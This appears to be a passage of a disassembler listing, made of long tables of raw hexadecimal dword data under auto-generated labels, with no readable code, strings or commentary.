		dd 0B7E0E87Ch, 93B6004Ah, 0BD05199h, 0A900EAF7h, 2B8B3F05h
		dd 3F96AAB4h, 23803179h, 0C9662997h, 99778694h,	0F0056731h
		dd 0C8880A76h, 6C00519Ah, 0DF95A1CEh, 1A1B862h,	0D61E107h
		dd 4BA0E2A8h, 0AD9A0E80h, 0BC443449h, 71D230CAh, 0FF29878h
		dd 0E0285932h, 93C4B0C4h, 3890A4CEh, 1D0C64B7h,	923856C6h
		dd 1648961Eh, 116BBE0Ch, 915E084Bh, 8A82772Fh, 1018944Ch
		dd 7F11B1E3h, 0DB0473C8h, 40618013h, 91AEE5F1h,	99A70072h
		dd 6BA247Ah, 9007A6C3h,	0AB67148Eh, 41FC2D70h, 0BB1B0952h
		dd 3003382Ch, 77887D0Eh, 607DDD5h, 0BF99667Ah, 8622EDE0h
		dd 3CFA41h, 0B834BB76h,	1F6678E1h, 1F80583Bh, 0D540CAC0h
		dd 6090E0Ah, 0DE2F006Fh, 5FC7EDB1h, 453B4F5Ah, 0F55BDE9h
		dd 0A06874ACh, 0B80D12C0h, 0AD2009Ch, 52984063h, 624F090Bh
		dd 66DEA00Fh, 2048A8CBh, 2BFEEAA6h, 0F75BDC06h,	38CFF5h
		dd 7F697477h, 0BC1C9C40h, 0AFBB710Fh, 26D2EE50h, 260B7A6h
		dd 0D37DBA7Fh, 6B60A4A0h, 0E9E6106Bh, 536ADA00h, 967B6D45h
		dd 0B23B0CD2h, 0D5580B28h, 8E8C1A03h, 0E8E38D1Dh, 855625h
		dd 0D1125476h, 503E3FA0h, 304F300h, 0F8E31963h,	0C4450505h
		dd 707109h, 9C3C2F88h, 16788135h, 9ADD5800h, 48984BE7h
		dd 133800D4h, 0D715592h, 3779FDCBh, 0BC8A761Bh,	0F658DB81h
		dd 7675F048h, 30190053h, 2DAB64FAh, 0CA033729h,	0C8A08D69h
		dd 53609F50h, 7F6CE7h, 0ABB9C45Ah, 108FF78h, 89FC50C6h
		dd 54D0059h, 395E1E62h,	0CB023D95h, 60DA525Bh, 0C5E4879Eh
		dd 4D64AFA0h, 16F10CB8h, 7718B548h, 2151171Ch, 0CED4F801h
		dd 50ECBC59h, 0E0C100B7h, 6F0E0D78h, 7A00029Ah,	0A56CB23Dh
		dd 7B6AABh, 0FE132408h,	0B498732Dh, 0B10075ECh,	2B8D6235h
		dd 0EC8AAA9h, 0B301C1E2h, 20DC999Eh, 5F8CF038h,	3FC3CE0Fh
		dd 286067EDh, 0A55C6590h, 0DA3C0386h, 104BE677h, 922E3000h
		dd 5472885Bh, 8662009Dh, 0A8137DECh, 0B10570C5h, 99172DF7h
		dd 20264040h, 438AA916h, 8E5000AEh, 0AC84B176h,	3BFF88Ch
		dd 0F8A67D78h, 55E07A32h, 622DAF2Dh, 370AE0AAh,	0E2920C61h
		dd 861832FFh, 7DEF20h, 1D4975C1h, 42FAAEDFh, 8478CE2Ah
		dd 121E0898h, 300437Eh,	0C052D735h, 926D2D2Fh, 320089F8h
		dd 0D4DBAA8Ch, 60AB1Eh,	94C45BBCh, 1A69A480h, 0B21D7A01h
		dd 0D7C6EB02h, 0C7FBD0h, 0D8FF9411h, 0C6D99EDh,	9868DA00h
		dd 0ADF7509Dh, 7EA41D47h, 640F00D7h, 0B35C1208h, 0DD00057Dh
		dd 0DC03E3ACh, 0C62437h, 2CDF01F2h, 0F34F96ABh,	802B9000h
		dd 6CA27B93h, 452A0E05h, 3EC4021Fh, 7C378097h, 9F00081Ah
		dd 40EDDCE7h, 1C32A180h, 81100427h, 0FD53A578h,	1EB1E074h
		dd 0EC3F6D02h, 7C2FD4A6h, 4F03008Fh, 0BE90FBB8h, 910FCA98h
		dd 0A0D58E3Dh, 89FAD46Bh, 0CB2E04D3h, 0C09BF89Eh, 9F4675ECh
		dd 0C112D5Ch, 4ABB6276h, 67F701A4h, 0C067B01h, 242AECAFh
		dd 18AAB330h, 38D5D06Ch, 19815F37h, 2C7FE7FEh, 844CC74h
		dd 6636F700h, 101FF095h, 78CD0116h, 7BFAFC60h, 7A37C8F4h
		dd 39012200h, 94F39BAAh, 0D8A4604Ah, 0DC81889h,	0B5345003h
		dd 0E8560463h, 13B135Ah, 696DD6B9h, 0C87FBC7Eh,	0E7F024EBh
		dd 0D5F2E500h, 834E7B43h, 1F0E8E0h, 2152F411h, 0DCA8551Ch
		dd 1900448Dh, 0BB23C00Ah, 0CA82A0h, 42C4D51Fh, 5154D60Bh
		dd 808A8D00h, 26B7675Eh, 0E871B6h, 713AF3D2h, 27893F43h
		dd 0D320CD00h, 9315F937h, 0FA7B07BCh, 8B97BE8Fh, 3B8B9080h
		dd 0A8010C89h, 0EC3CAF8Dh, 20309126h, 0C59C008Fh, 66DAC9C2h
		dd 0A501C09Bh, 4056E62Fh, 0A6706A2Dh, 0C1D200C6h, 28A7C5CFh
		dd 0B00156Fh, 0EE9D88F9h, 7CF640h, 96D04F95h, 8F5B1F9Bh
		dd 5E560207h, 0A8E07808h, 67E2EDh, 528D0F2Dh, 49BF80EEh
		dd 9A1A517Ch, 551826D9h, 0E1D7DEE1h, 0F810804Eh, 466C31A0h
		dd 55F0E525h, 0E5510098h, 9F5EA582h, 31585D0Ah,	0A20B00BCh
		dd 718B1AE8h, 7D5A12CAh, 0F73600A1h, 61238611h,	0AFA80407h
		dd 260575Eh, 0C3F66Eh, 9F603C28h, 0DFE410B6h, 41BC2606h
		dd 1028FCD9h, 6DAE5Dh, 18159E4Ah, 88E6F4B7h, 0E240C9FBh
		dd 0D0B04429h, 50C76BF2h, 14F88F48h, 653E3C09h,	59828E0h
		dd 0E0E8FF3Eh, 0F204BFFCh, 60C2D59Bh, 0E1035FC4h, 0D7FBCB39h
		dd 93DC4F0h, 53590026h,	7E8304F2h, 0E1009534h, 737CBD8Ah
		dd 0E27AD8Fh, 47ED76C8h, 0D0446600h, 0B118D67Ah, 0E3188A81h
		dd 5FF01EE7h, 9DCF805Ch, 0A4CB80ACh, 2E720300h,	121FEEC9h
		dd 43F03BC6h, 5D86AE80h, 3FB3CBA3h, 0B4F81001h,	90BCFDA1h
		dd 7CFBC4h, 402DC05h, 0DF49C5BDh, 0CDA0A500h, 0A3FBAACh
		dd 26B80065h, 42D0EDD2h, 7F300FB6h, 3A0310E9h, 1DA01EFDh
		dd 5F80BF59h, 23814B04h, 741C276Fh, 9447C6DCh, 4CB075B1h
		dd 7FAC1AA5h, 39920244h, 0E53ED11h, 6D22E583h, 788C0C0h
		dd 20059A00h, 8F3877ADh, 57BA0064h, 0F8EC3114h,	8000A6C4h
		dd 180BF6FBh, 0C6613Eh,	0F32EB73Dh, 5F59012Ch, 3C8C6700h
		dd 18E4C231h, 2A020075h, 2380F13Dh, 4D3B4321h, 6850806Bh
		dd 402B4796h, 0F0F50022h, 0B77EF49Dh, 6B00ABE4h, 849E0891h
		dd 249F20h, 9AF85B52h, 0BD67EF83h, 0B0AD7B39h, 6F173445h
		dd 6BA7D0Ch, 28853414h,	983E1070h, 1DF8014Fh, 10CCCDA9h
		dd 11819E8h, 0CBE920FFh, 3B0EFDF5h, 85140480h, 974D3EADh
		dd 83F1B180h, 0B763ACE6h, 27502A00h, 1F777519h,	3E440035h
		dd 3F5C8851h, 240ED054h, 0FED1FD9Bh, 6DC38FC0h,	78CE352Dh
		dd 716600B0h, 24EE1423h, 30F1FCDCh, 2E588ACBh, 80D00094h
		dd 0BF9F751Ch, 4373BBh,	0C012CBE3h, 6D1D085Bh, 722A4B00h
		dd 48302377h, 26C80061h, 9FBC15F5h, 33749618h, 8D273Bh
		dd 44CC7990h, 3729720h,	618C8906h, 0AE905E21h, 25001A4Fh
		dd 6FF4E0C5h, 1EE3031h,	272FB9F8h, 7167AFC9h, 0EDE9D0D5h
		dd 0FC008E76h, 0FD5CFEC3h, 0E2D156Dh, 9238EFBEh, 0E4A3A8C0h
		dd 0B707092Eh, 0ED432936h, 0C9A47950h, 259E0018h, 68BA21FCh
		dd 0D700DAA5h, 7E0706B2h, 0BEF03Bh, 0CB4318E2h,	854D0DCDh
		dd 80667738h, 45231FF8h, 0F47728Dh, 2C86E9Eh, 3F1ADC00h
		dd 2E003ACEh, 0FCFFE673h, 0EA4E86AFh, 21F79AEh,	383F08E5h
		dd 78E0EF6Dh, 50083C0h,	19A553D4h, 0EBF062h, 87B51C18h
		dd 0D822E99Dh, 4B520D07h, 0F370A3EEh, 916B6DFFh, 76130894h
		dd 0E3118F80h, 0BA16B5h, 0F94ACF5Dh, 36CD2E05h,	2203CA7Ah
		dd 46FE26E6h, 578190D9h, 19E0FCFCh, 9E2EC733h, 3577D843h
		dd 0A5041400h, 2C632613h
dword_52F848	dd 0C5A200A3h, 404E0F5Dh, 4226342Eh, 0FA00F199h, 841AFE21h
		dd 18E33D1Dh, 773C0902h, 0C58059EAh, 4E36BC6Ah,	3E8B3402h
		dd 0C0170BC9h, 0E2B237h, 234481C3h, 0F7E9AC8Dh,	0E8B35E00h
		dd 0A416A8EEh, 49970065h, 5A3C8A98h, 9400AFE6h,	73C86791h
		dd 1490DAh, 66DD8D60h, 0E10ED9EBh, 38845800h, 5FE51C07h
		dd 436B3B1Bh, 2F7D1900h, 0E4D3EDF8h, 0AF12270Bh, 58E607B1h
		dd 3AB77520h, 7B93DEEh,	0CC1B3380h, 0E68C8A16h,	9F0024F4h
		dd 0A16B19F4h, 7343914h, 3AF87517h, 91FF70C8h, 2E00366Ah
		dd 2A3D651Ah, 36B17C2h,	0B08697Dh, 2BB87328h, 7019438h
		dd 0C32D0AD3h, 7E60FFE8h, 1710781Dh, 79A05D5h, 21A36796h
		dd 0C896D9CAh, 25B849A7h, 4DD09F0Fh, 7364006Fh,	0B586A267h
		dd 0FB22C860h, 0B2136C00h, 0D8CE050Eh, 0E04707D9h, 20A0C91Bh
		dd 33F2C582h, 3F6F0100h, 846C43BCh, 72BD1F5Eh, 9256C07Fh
		dd 0AA0D46DBh, 0FF9183Ch, 201C3B9Ah, 0FC979F27h, 649117F5h
		dd 201700DBh, 54FF93DEh, 422E3400h, 83C86FEDh, 68F00CCh
		dd 0D1BD2AE6h, 35EEAD01h, 809D843Dh, 8CD23DF0h,	73A32F82h
		dd 91043A07h, 15EA85Bh,	0B5B387B6h, 0EFC6FF9h, 7B863BCFh
		dd 429E0078h, 4437BF77h, 5890A575h, 43FD0801h, 9FA2A648h
		dd 2A0B4C0h, 0FBE1AA14h, 41DEE9h, 0EB8F7043h, 21696700h
		dd 754A97A8h, 6290014Fh, 0E78D0AD9h, 298FCCDEh,	18D7CA00h
		dd 6E6B0DA7h, 0F08FE64h, 0AD5CC976h, 3A356F02h,	0BBE2DCA1h
		dd 7C68F063h, 0A0F4FF00h, 10E6D40Bh, 2EF700DBh,	90F5A595h
		dd 397872A2h, 8091143Eh, 0A452B4A0h, 7AA6605h, 48682CE4h
		dd 7FD53065h, 810045C1h, 124C3FF4h, 4CEED0B9h, 0C0146D3h
		dd 73F1025Fh, 8A697090h, 1A3D2B7Fh, 2CCCC6h, 0F959432Ch
		dd 78E80CBDh, 31D600ABh, 5CEF1561h, 0ED1E6BB9h,	0E601FF12h
		dd 0CD0568DDh, 3F82C4h,	90B9D3FDh, 50830A99h, 942A6100h
		dd 0CF83E60h, 328C00D8h, 0BD3DDC5Ah, 0FF9009E3h, 7A82148h
		dd 5937230Ah, 83DFCF80h, 77F700FFh, 4CD1D53h, 0E03730Bh
		dd 529DFAA0h, 0D811A049h, 0F2BB0069h, 0B4A325CDh, 7CF83DC0h
		dd 0A45D520Eh, 0AFD78006h, 0C757ACh, 737BCA3Eh,	46A6B835h
		dd 0B7060924h, 58CB803Ah, 0BED1C03Dh, 43710392h, 8AB345CFh
		dd 91E354D0h, 5B073BE4h, 388535A3h, 0EB3946C0h,	0E8D40099h
		dd 844E4C33h, 4906E71Fh, 89A788E3h, 0D70F220h, 0FCC66C8Ah
		dd 0F69AE871h, 0BEF81D00h, 0CF706877h, 9E9F07CDh, 0C01CFB10h
		dd 0AF7B2BC0h, 94293F00h, 0E6310419h, 8D8F072Eh, 40573DBAh
		dd 0F8263E0Fh, 1745183Ah, 0EFE5C24h, 50C0289Dh,	0CA15682Ah
		dd 19EAA900h, 2549E7Fh,	0E94EE71h, 33C2BA31h, 8A00BF17h
		dd 6E6A979Bh, 74ACA0D5h, 0A6B700C9h, 0F00D8FFCh, 9200FF67h
		dd 129D4A61h, 0D5C70Ah,	8803618h, 0BB037A94h, 0F1E81BE8h
		dd 85C2EB00h, 0DC6B2DEh, 72E0733h, 30D45AD2h, 9E35FC02h
		dd 7A45B400h, 0E75B79D5h, 0D7543D0Bh, 0EEABD00h, 0DE5A9962h
		dd 0D5A16000h, 5C9D5EFBh, 0C3A00237h, 0CD96BA61h, 30D6C987h
		dd 3507710Ch, 41436702h, 60D59F2Ch, 42B0DFh, 0F5AAB5D8h
		dd 623F7A3Dh, 81C9F139h, 975EC14Fh, 7FF5BB1Dh, 4C704760h
		dd 0FF000144h, 5471046Bh, 40003952h, 558BC14Ch,	0CD133Ch
		dd 15ED6D93h, 68E5E190h, 0EE723Dh, 0C59B3F84h, 902ABA79h
		dd 0A7FF00C2h, 0CBAD71A8h, 8D009851h, 9363CEC4h, 0AAC3B96h
		dd 6C13F417h, 0A0EE00DEh, 0BB66D0D3h, 69E43107h, 968056FCh
		dd 310BAD59h, 6B020D49h, 0DEE0F89Dh, 32FC6300h,	7E8805AAh
		dd 4EBF0089h, 8AA32E13h, 0B100A0C4h, 941204D2h,	0B6F729h
		dd 3AB207F4h, 0FCAF0EB9h, 62E6FE07h, 0F5C06A51h, 11DE156h
		dd 90FF495h, 0C6865F24h, 66890CC0h, 0C9925C00h,	0BD470D40h
		dd 0A3E0063h, 0E28A6101h, 0B10091B4h, 584C3A08h, 0DE767Bh
		dd 8F5044C6h, 974437Eh,	86A61000h, 0C2D4733Bh, 5FE7FBFh
		dd 167795E4h, 0C05C09Eh, 9008E3Dh, 0FA4590B2h, 242012FBh
		dd 1EA810A9h, 24F44094h, 6FF5D9BCh, 77BDBA00h, 5D62B59h
		dd 546D0097h, 73F38BE2h, 0C900F6C8h, 7BA4AD74h,	914E955h
		dd 33375B6Ah, 0F2F15501h, 97B3FC3Fh, 0CD508C18h, 0B95421h
		dd 139674D5h, 0FAD65FC9h, 6F689807h, 0C6B04A69h, 0E7E636h
		dd 8CC7798Dh, 78ABEA64h, 0C276E50Eh, 901460D7h,	1F638904h
		dd 0C02F2C7Ch, 72AC6DD2h, 0C31C02B0h, 0FF43CF1Bh, 0E57E98h
		dd 0D3B7E16Ah, 325D35BEh, 79A1F100h, 59F4AD1Eh,	40621E6Eh
		dd 0AC9AC323h, 0CFF8BB18h, 711D6B97h, 24AEE563h, 8E272F00h
		dd 0E4F5DA6h, 0E0D61D32h, 0C858E320h, 0FA00553Bh, 52D08FE7h
		dd 0FABA0F1h, 78409D2Eh, 0B20185EFh, 0E2DE90D8h, 0AF953C60h
		dd 0D1FDFA0Fh, 8C31407Bh, 7F18A767h, 6801DA6h, 138E0ED0h
		dd 38D93A80h, 0FC16360Ah, 0C801B6F8h, 21B9EBA0h, 10F5E0h
		dd 40D1345Ah, 366B3DC1h, 984BF02Eh, 0C4EC7400h,	9150F90h
		dd 32C79E25h, 674E0C87h, 0D68B301Ah, 0CA005C83h, 0CF5326D3h
		dd 30952F5h, 0DCF7C9A2h, 10FE132Ah, 0C27C3D07h,	9210A587h
		dd 62C6A1h, 79AD29B9h, 2649A807h, 0FAD1CE00h, 52CB5D8Dh
		dd 0F269000Dh, 1485270Ch, 0D21F5F9Dh, 0F6C0A7DCh, 0AB28DA5Ch
		dd 0A38E01B5h, 0EB7FE2A5h, 965F03Ah, 0E9E66D28h, 3F470100h
		dd 913BB0A0h, 818801BCh, 1E749D9Ah, 0C148C4E2h,	0CB6C4217h
		dd 314F3000h, 600CEEh, 65E4213Dh, 0B759DDF8h, 2C93D503h
		dd 0D0C02B86h, 29A71Eh,	0FBA37CE5h, 49BF9DA8h, 96223A03h
		dd 0A8BB2736h, 0EF1C34h, 74194A50h, 0F4068552h,	0B703CBE6h
		dd 9B5A0B88h, 71E59815h, 0F1B00E74h, 18404B0Ch,	96782866h
		dd 3E2C24F2h, 2000387Ch, 170B86D6h, 2490FCh, 3F2D0E14h
		dd 0EA54D993h, 91B61500h, 2507C1FFh, 40A5009Ch,	6F70AB2Bh
		dd 58E66ADFh, 77FBF200h, 71866E84h, 5DF630h, 33A4E689h
		dd 37CF24A5h, 0C0DAD22Ah, 87084C48h, 60CFAEE0h,	858312F3h
		dd 0CA1116F6h, 0A540001Ah, 0CF322F61h, 0FDF8241Ch, 0A8008464h
		dd 63460937h, 0C9E900E8h, 0F82BEA9Ch, 1017EA6h,	4138176h
		dd 0D7F053BAh, 0AC5100C6h, 0CDC8313Bh, 610334DFh, 5BCBC5EBh
		dd 8CF8D885h, 1220004Ah, 30E2DF4h, 0D500E8B3h, 0A5FAEEB1h
		dd 7F5FDE8Ah, 913600A3h, 2A2C4601h, 76002F3Dh, 0B3CF8419h
		dd 434B75h, 5C4793AAh, 0F1019631h, 5F688D16h, 5676E005h
		dd 17628100h, 0CED614h,	7033511h, 0CD3F96F3h, 1EEFBC00h
		dd 53B945D3h, 0BD411C78h, 1D835E6Dh, 0F43D42D1h, 4DE0794Ah
		dd 0AA00A530h, 0E0B6EA27h, 5BAB77h, 264749F9h, 0B14B2BFh
		dd 390ECF00h, 2B229794h, 455A1312h, 0C5E000A1h,	0C8529A46h
		dd 0B3145C2Eh, 8AD90E00h, 72EEBFE8h, 0C1190008h, 0E078941Fh
		dd 1005645h, 0BF181CB7h, 76A6ACCEh, 575C0h, 82E1BE48h
		dd 9DECEE65h, 0E3B38F02h, 0E34CD97Ah, 6007C807h, 9C590045h
		dd 0EBAAC266h, 0E0007DA5h, 837CBBB0h, 3486D39h,	0E3AE993h
		dd 5E00C0D7h, 7BB8E8C6h, 295A726h, 0AA3E850Ch, 5460B3E9h
		dd 613A62CEh, 422E00EDh, 0A798E14h, 0D4F30045h,	0E8FB5D4Dh
		dd 4E002FAEh, 56CCFA36h, 4F90FDh, 0C36DCB2Dh, 0C8751774h
		dd 0E8C65126h, 71C7DC04h, 9CB8C280h, 0E32E00D3h, 354357FCh
		dd 0A718F372h, 7CD8BFEFh, 2B141F39h, 373245F5h,	0E880EBA9h
		dd 76DFE4h, 6C630B73h
		dd 647A2E3h, 7C002373h,	48B865DDh
		db 6Eh
byte_530055	db 0BAh, 40h, 0		; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		dd 0DBD03080h, 290279D2h, 22161300h, 36D5F8DAh,	348F0048h
		dd 4774F4D3h, 1700F0EBh, 0CF399B44h, 2CE5948Eh,	1D778C83h
		dd 0C8B5CB27h, 0F73AD600h, 4F3C125Dh, 0A07B0048h, 0CCC9C3F4h
		dd 0E82530BDh, 0B038BCDEh, 0AB790C7Bh, 801C0138h, 0C3786855h
		dd 6520F0h, 912AE5D2h, 6A922771h, 0C44D580Fh, 0F43FA09Ch
		dd 0C91E87h, 812688F2h,	3301BED8h, 98DFAB00h, 966CFFA9h
		dd 318EC10h, 0C863D97Dh, 0CD903997h, 0A809D713h, 75EA7A17h
		dd 3DCBF500h, 11F07775h, 0F942B913h, 4E80211Eh,	0AFE4F3E3h
		dd 84B0068h, 610EA4B4h,	0CF00BD3Bh, 0FB86FEA8h,	39DDDC95h
		dd 83009807h, 4DACDBC6h, 0C80EF7D5h, 804C1ABFh,	0C129B1BDh
		dd 2C8E1ED7h, 3DC500CDh, 0C3584A93h, 3900B6ECh,	0F01C8B8h
		dd 287B745Ch, 98BC6Fh, 0D2DA92B9h, 91D46E0Bh, 0C860727Ch
		dd 22BF87F8h, 0B59E001Ah, 7FEDCF93h, 0EC03CB10h, 1D691709h
		dd 0A385A0D3h, 39961E88h, 15980028h, 1A37F35Fh,	21301D98h
		dd 8EB86CC1h, 2E93765Ch, 0E28B59h, 8C505BB6h, 0B9009D1Ah
		dd 0F5752DF6h, 0F736328h, 33B08D09h, 0B0764Ah, 5732EDC1h
		dd 10065C0Eh, 592BF928h, 0A5C700D8h, 54E883D9h,	0DD00985Fh
		dd 9D6BF041h, 0CDD814h,	740AC973h, 0B491DFA9h, 5E3980F7h
		dd 0FE4C22D6h, 0ABC1657h, 165100A8h, 8BC07350h,	0B767EF00h
		dd 0A6960DDFh, 7C591889h, 56AF089Dh, 4B88DC00h,	0AD5FF37Bh
		dd 0F2C6007Eh, 7C679E1Dh, 9600623Ah, 4FA9FB71h,	3C510355h
		dd 590084A3h, 0F0CF75FAh, 717D1797h, 0D826EA00h, 0B6F940E4h
		dd 6567002Eh, 0E8F549B3h, 0F41E30C4h, 1B00FF23h, 7986A047h
		dd 0E48A07C0h, 908F2FF5h, 88DE66F8h, 92E1FF16h,	0B8C12300h
		dd 73FEE5C2h, 183C07EFh, 4E2BAB4Bh, 29A8E6C0h, 267CDA31h
		dd 0C9644700h, 930D4914h, 703307CAh, 0C01D067Bh, 0DC1B4F4Ch
		dd 5DDF226h, 94975603h,	808CDA16h, 2F59E6F5h, 0CB7407DEh
		dd 777CBE18h, 0B8C05058h, 0F77C0FB5h, 80959B38h, 615F8EA2h
		dd 7B3F2402h, 1683002Dh, 0B298211h, 5930EAD0h, 0DA102060h
		dd 0EFA50063h, 79D418C3h, 0D101B49Dh, 0DF85C427h, 28806F22h
		dd 1FAFFB0Fh, 0E0010B75h, 2106CF7Bh, 0C9C4B450h, 95100025h
		dd 0EB67C0ACh, 3F005B0Bh, 0A2E441FCh, 0D58994h,	52BAFE3Ch
		dd 49165C48h, 79B25A00h, 0A7E18C2Fh, 174E3F3Eh,	980D9A00h
		dd 7E96898Eh, 63948D07h, 5C406A49h, 187AEB7h, 9D1CDE02h
		dd 0E80B0805h, 4F0122D0h, 0BFF0046Fh, 0CF302B10h, 26DB01CCh
		dd 9508B5C1h, 96ABD8A5h, 46CA1900h, 4D91A2C7h, 7041602Eh
		dd 0EA10737Ch, 844548h,	0E550F723h, 125C60Eh, 6BA7FFC0h
		dd 802C6C90h, 11C3AE31h, 3C4096A9h, 1F806E91h, 0F8FBB63Fh
		dd 4D027858h, 758B5798h, 7DCD605Dh, 8D605C4Eh, 0EAD78500h
		dd 533866Dh, 0C099B300h, 891711B1h, 987500CDh, 0C29746C7h
		dd 1B600920h, 0F5333270h, 5ABF0039h, 970D9B86h,	0E40E5679h
		dd 0A0074274h, 9C08138Eh, 336800B8h, 50F5A418h,	2A3E2B21h
		dd 8729004Ch, 0A2310FF6h, 0F435383Eh, 88C69380h, 0FFAE2173h
		dd 0AA830116h, 0C24FD71Eh, 48A44045h, 0E6D6EE07h, 52510096h
		dd 0A0E7E2F0h, 0B47446BDh, 7D683900h, 8AD10EEBh, 70361C4Fh
		dd 9C65C0BCh, 2317BD07h, 3D33DC98h, 0F3FB3255h,	0E38EB09Bh
		dd 772A005Ah, 734B90B5h, 0E5EE331Bh, 8A079900h,	82539C1h
		dd 9CA1055Ch, 402D1901h, 0C54FF7BCh, 4500AA77h,	0CDB069C0h
		dd 9206649Bh, 0F4EE001Ch, 0ADBEC38Bh, 100A955h,	1885ABE9h
		dd 1F67CB46h, 408B1A2Fh, 9B1D9F64h, 0BD2AF198h,	6D07B4D1h
		dd 0B22CB490h, 33600BB0h, 9F08C9DBh, 7F941420h,	0D0F1D6E5h
		dd 0D1DFB1Fh, 7C4E8740h, 0FF3CA398h, 9B34D052h,	68F0C7Bh
		dd 97B92F6Bh, 3168BBE2h, 0A200E828h, 2F6A1343h,	8CC70AFBh
		dd 80EC6C15h, 678D2060h, 7C0E0FDDh, 0C0A92592h,	7E73788Ch
		dd 2E60063h, 4DB8BC83h,	0F6076897h, 0D565EBC8h,	729E48E0h
		dd 917A0020h, 0C1C3062h, 807E0D55h, 0D117A400h,	1EFBE081h
		dd 0B9720EE7h, 1580E80Eh, 0A9A49CAFh, 4CBC6B00h, 0F71D2941h
		dd 4A1C58EBh, 0B9953000h, 0A0DA9B62h, 0CCCB1200h, 0C27F867Eh
		dd 0ADD03D61h, 0CE56B500h, 962754D2h, 0B15AAB01h, 1D350177h
		dd 37057E8h, 449FB61Ch,	39C84DE3h, 1F00FFB5h, 1D872C5Dh
		dd 1E3862E7h, 4031753Ah, 0A5FE9C7Ah, 0C005FE4h,	0EA30ED72h
		dd 0F5D591h, 79CEB6D8h,	83752E9Ah, 34B0C00h, 0D188A47h
		dd 333007EFh, 0A3ECE523h, 18004910h, 9D4E75Ah, 0E7F709Ch
		dd 41A922D1h, 4E0E6667h, 0A8F6D260h, 735CF786h,	6AF41CF2h
		dd 50BBF40h, 71472145h,	16E518AAh, 36D6405Ah, 0FD18431Ah
		dd 14041760h, 446186Fh,	0FAE0C3BAh, 0CE48E870h,	0FBA42E39h
		dd 2620000Eh, 6F806B35h, 0E48FC200h, 0DFF86966h, 149E00A9h
		dd 5B0EFAE9h, 4E7FBC9Ah, 1CABB200h, 0D20188C3h,	82470056h
		dd 3AA7D3D4h, 7D00E60Fh, 0F19AB642h, 0B2FA5D1h,	7EE1681Eh
		dd 0C16FD603h, 0DF42E4C0h, 0EC40C400h, 0D3FC8332h, 77230095h
		dd 0BC51C2ADh, 0E800762Eh, 470095Dh, 3A86C0E4h,	2300775Ch
		dd 383B6D1Eh, 717DECF4h, 0C5E0E3Ch, 11EDEAE8h, 272B00B7h
		dd 4372E9DFh, 6B003844h, 46E01150h, 0F8EAB949h,	0DF613D0Eh
		dd 9F5E8ACh, 2881712Fh,	97245E35h, 4200D950h, 96387572h
		dd 8852632Eh, 92F1F3B0h, 28288EC0h, 0E506BF3Ch,	0D82572h
		dd 2C6269BFh, 0D62407B8h, 55141707h, 1B72B398h,	0DA30A0FDh
		dd 0C1721EF3h, 643CFAB0h, 73563036h, 17D420A8h,	85558D04h
		dd 717CF925h, 80DFD923h, 7F548D35h, 0FF47138Ah,	55B4DC8h
		dd 2116A9C0h, 0F92078E7h, 0AC983250h, 27238401h, 0C481240Dh
		dd 0BFD19CE1h, 3B64E8h,	0EA6B82F4h, 9D5C8CFFh, 558E10Fh
		dd 1D2DC7C1h, 8ADF37C0h, 0F81C902Ch, 7910C110h,	4829AE17h
		dd 8C0E0420h, 0A8FE105Dh, 150DF806h, 0C1A6FF80h, 3C2A1E88h
		dd 0B71024F4h, 0CC004371h, 46E287B5h, 88EE65C5h, 821488Ah
		dd 0AD2D0424h, 0BC309DB4h, 0B869A640h, 11C22023h, 10021CC0h
		dd 1D4A26BCh, 0D362D546h, 4C552016h, 0F82008CCh, 12E1443Fh
		dd 7002386Fh, 96E89B8Dh, 0C4F41120h, 7580D85Eh,	615D11BAh
		dd 0D8F0F1E6h, 0B08E3AE2h, 0D11A17A1h, 40A1F77h, 60200D54h
		dd 0A5A044C8h, 8DE73D20h, 98600840h, 15407A53h,	60628A92h
		dd 0FC25E7h, 0B98494C0h, 0DC90EBF8h, 0AF653509h, 0A1E00022h
		dd 984934A6h, 0CE7A004Ch, 0D9CFFD98h, 2724DCD4h, 83002CE8h
		dd 6CE49564h, 0F3AD1EEAh, 815C345Fh, 49A53210h,	5BD9FF20h
		dd 9E840ABCh, 1DBA3875h, 918F9DE6h, 6FBAE1DDh, 0E569020Eh
		dd 358A5BE3h, 4C698EBBh, 40C6CA2Ch, 857012F0h, 87CCDD03h
		dd 0BC01DAB5h, 6FAA2120h, 8C71D5C0h, 0A0AD5712h, 582006CAh
		dd 0E511A72Fh, 82F3D4BAh, 159D38D4h, 602A5E1Dh,	39CBEE0h
		dd 6A10F9F4h, 0BC4E40CEh, 0A86C2669h, 8217A860h, 0A1FE1197h
		dd 0DB0DF1C0h, 4098C832h, 41E8ADDCh, 0B9C22947h, 28C5DE31h
		dd 0CEF64281h, 1F0AFB81h, 0CCDE5914h, 9EF4F5C7h, 7B801997h
		dd 0FE786F89h, 0FAEC00C3h, 76874568h, 0A430CC3Fh, 0F4991841h
		dd 2120A6A3h, 0E440D95Ah, 3B32A517h, 0CC8436D5h, 3C27FDFCh
		dd 7140AE8Ah, 58380717h, 70F4813Eh, 2057714Eh, 0D388EB00h
		dd 0FCAEABCFh, 1E4778EAh, 396B0E16h, 4F95E0Eh, 0C7312021h
		dd 6E62C08Ah, 0C420FC56h
		dd 0A801D7C2h, 9CC5F880h, 7C0E1228h, 0E0FB8EE8h, 0BB308460h
		dd 83B70047h, 62CDA9F4h, 4900AF89h, 0AD879459h,	1FB407EEh
		dd 189698F7h, 0DE1B10D8h, 0D28D7F00h, 0D9E6C982h, 0FA40C1ADh
		dd 0A94F8C8h, 38DFCB84h, 6FCF04F8h, 78F28F61h, 8240A51Fh
		dd 0C69F747Eh, 0F0631015h, 233FBEABh, 2FE48178h, 220A6F3Ch
		dd 20733FD6h, 8708F3D8h, 0F2624501h, 605BB089h,	3A738879h
		dd 0DA474600h, 0FA4475ADh, 5CF100E1h, 0A343B34Dh, 943D5FF2h
		dd 0F7FF06CEh, 184CC9h,	0DD0DCB71h, 6AB9270h, 0C4CCD500h
		dd 3E381C37h, 418F6002h, 0DA2CF22Fh, 0A48B0A11h, 6428F1h
		dd 0E4395Fh, 8C43B1C1h,	9814EC9h, 0D0A23Dh, 71564796h
		dd 0B08F6705h, 0B3953017h, 272F31D8h, 80C84C61h, 0B2E0CD5Bh
		dd 54ACE4B9h, 2B32003h,	1D508256h, 983E2B1Bh, 1D20853Dh
		dd 0A4A744D4h, 41EA7C69h, 0F8CEC4BBh, 88CA40h, 0CCD6B45Ch
		dd 926F6DF7h, 9A0E9F00h, 8DEDAE40h, 7CE5B089h, 3EC4A082h
		dd 43A10761h, 8E7D3827h, 2B3EA2EFh, 62800120h, 1F279145h
